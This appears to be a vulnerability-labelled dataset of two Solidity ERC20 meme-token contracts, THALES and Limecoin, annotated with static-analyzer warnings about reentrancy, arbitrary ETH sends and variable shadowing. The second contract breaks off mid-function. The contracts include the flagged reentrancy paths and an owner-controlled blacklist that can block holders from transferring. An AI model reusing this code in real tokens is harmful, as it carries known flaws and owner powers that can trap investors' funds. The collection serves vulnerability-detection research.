"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract THALES is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8db0dbc): THALES._taxWallet should be immutable \n\t// Recommendation for 8db0dbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfa5ed5): THALES._initialBuyTax should be constant \n\t// Recommendation for bfa5ed5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 47d75d1): THALES._initialSellTax should be constant \n\t// Recommendation for 47d75d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5283c83): THALES._reduceBuyTaxAt should be constant \n\t// Recommendation for 5283c83: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc670ed): THALES._reduceSellTaxAt should be constant \n\t// Recommendation for cc670ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08fc691): THALES._preventSwapBefore should be constant \n\t// Recommendation for 08fc691: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Thales\";\n\n string private constant _symbol = unicode\"THALES\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb54b6e): THALES._taxSwapThreshold should be constant \n\t// Recommendation for bb54b6e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d3003a): THALES._maxTaxSwap should be constant \n\t// Recommendation for 9d3003a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9c3635): THALES.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b9c3635: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f5f58e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f5f58e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 93fba05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 93fba05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f5f58e\n\t\t// reentrancy-benign | ID: 93fba05\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3f5f58e\n\t\t// reentrancy-benign | ID: 93fba05\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 10601be): THALES._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 10601be: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 93fba05\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3f5f58e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ad51a5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ad51a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c3c2a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c3c2a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2ad51a5\n\t\t\t\t// reentrancy-eth | ID: 2c3c2a6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2ad51a5\n\t\t\t\t\t// reentrancy-eth | ID: 2c3c2a6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2c3c2a6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2c3c2a6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2c3c2a6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2ad51a5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2c3c2a6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2c3c2a6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2ad51a5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2ad51a5\n\t\t// reentrancy-events | ID: 3f5f58e\n\t\t// reentrancy-benign | ID: 93fba05\n\t\t// reentrancy-eth | ID: 2c3c2a6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 08d0e4a): THALES.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 08d0e4a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2ad51a5\n\t\t// reentrancy-events | ID: 3f5f58e\n\t\t// reentrancy-eth | ID: 2c3c2a6\n\t\t// arbitrary-send-eth | ID: 08d0e4a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b6e23db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b6e23db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9945868): THALES.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9945868: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 53c7e51): THALES.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 53c7e51: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 404c249): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 404c249: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b6e23db\n\t\t// reentrancy-eth | ID: 404c249\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b6e23db\n\t\t// unused-return | ID: 9945868\n\t\t// reentrancy-eth | ID: 404c249\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b6e23db\n\t\t// unused-return | ID: 53c7e51\n\t\t// reentrancy-eth | ID: 404c249\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b6e23db\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 404c249\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10181.sol",
"size_bytes": 20333,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Limecoin\";\n\n string private constant _symbol = unicode\"LIMECOIN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4bbbb8b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4bbbb8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e62f74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e62f74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4bbbb8b\n\t\t// reentrancy-benign | ID: 5e62f74\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4bbbb8b\n\t\t// reentrancy-benign | ID: 5e62f74\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5e62f74\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4bbbb8b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ca087c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ca087c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c54322): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c54322: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 5, \"Only 5 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1ca087c\n\t\t\t\t// reentrancy-eth | ID: 6c54322\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1ca087c\n\t\t\t\t\t// reentrancy-eth | ID: 6c54322\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6c54322\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6c54322\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6c54322\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1ca087c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6c54322\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6c54322\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1ca087c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), 